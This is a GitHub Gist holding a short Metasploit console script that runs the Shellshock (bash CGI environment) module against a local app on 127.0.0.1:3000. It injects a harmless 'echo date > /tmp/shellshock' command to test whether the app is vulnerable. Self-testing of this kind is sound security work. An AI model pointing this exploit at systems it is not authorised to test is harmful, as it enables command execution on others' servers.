Last active
February 17, 2018 19:36
-
-
Save blasterpal/f246b417be498608cc9c to your computer and use it in GitHub Desktop.
shellshock metasploit example use
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# setup metasploit from master on github: https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment | |
# good help on console and metasploit: http://www.offensive-security.com/metasploit-unleashed/Msfconsole | |
#start msfconsole | |
use auxiliary/scanner/http/apache_mod_cgi_bash_env | |
set VHOST app.local | |
set TARGETURI "/all" | |
set RPORT 3000 | |
set RHOSTS 127.0.0.1 | |
set CMD 'echo NOW `date` > /tmp/shellshock &' | |
run | |
#check for file,etc |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment